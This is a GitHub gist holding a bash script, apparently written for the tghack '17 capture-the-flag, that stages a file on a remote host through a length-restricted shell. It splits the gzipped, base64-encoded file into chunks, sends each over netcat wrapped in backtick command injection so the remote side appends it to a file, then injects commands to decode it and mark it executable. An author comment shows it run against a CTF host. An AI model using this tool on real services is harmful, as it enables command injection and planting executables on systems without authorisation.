Skip to content

Instantly share code, notes, and snippets.

@stigok
Created April 16, 2017 19:42
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stigok/b39aa21ad16174b9deaf45e673bedbde to your computer and use it in GitHub Desktop.
Save stigok/b39aa21ad16174b9deaf45e673bedbde to your computer and use it in GitHub Desktop.
#!/bin/bash
# made for tghack '17
# desc: upload a file chunked through a shell with length
# restrictions of commands. you might need to manually
# tune the BUFLEN to stay within the limits. sh syntax
# errors appears when you're out of bounds.
#
# todo: progress bar
#
HOST=${1}
PORT=${2}
FILE=${3}
DEST=${4:-"/tmp/$$"}
if [[ -z "$HOST" || -z "$PORT" || -z "$FILE" || -z "$DEST" ]]; then
>&2 echo "Missing argument(s). Usage: program <host> <port> <file> [<dest>]"
exit 2
fi
# Compress file and remove newlines to make it easy to echo
COMPRESSED="$(gzip -c $FILE | base64 | tr -d '\n')"
SIZE=${#COMPRESSED}
BUFLEN=33
INDEX=0
NETCAT="nc -q 0 $HOST $PORT"
#NETCAT="cat"
# Upload file
while [ $INDEX -le $SIZE ]; do
SUBSTR=${COMPRESSED:$INDEX:$BUFLEN}
# Pipe chunk through netcat and append to destination file
# \x60 is a backtick
printf '\x60echo \x27%b\x27>>%b\x60' "$SUBSTR" "$DEST" | $NETCAT
INDEX=$(( $INDEX + $BUFLEN ))
done
# Decompress and make executable
printf '\x60cat %b|base64 -d|zcat>%b.sh\x60' $DEST $DEST | $NETCAT
printf '\x60chmod +x %b.sh\x60' $DEST | $NETCAT
echo "Executable at $DEST.sh"
@stigok
Copy link
Author

stigok commented Apr 16, 2017

Usage: ncupl time.tghack.no 1111 /usr/bin/ssh

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment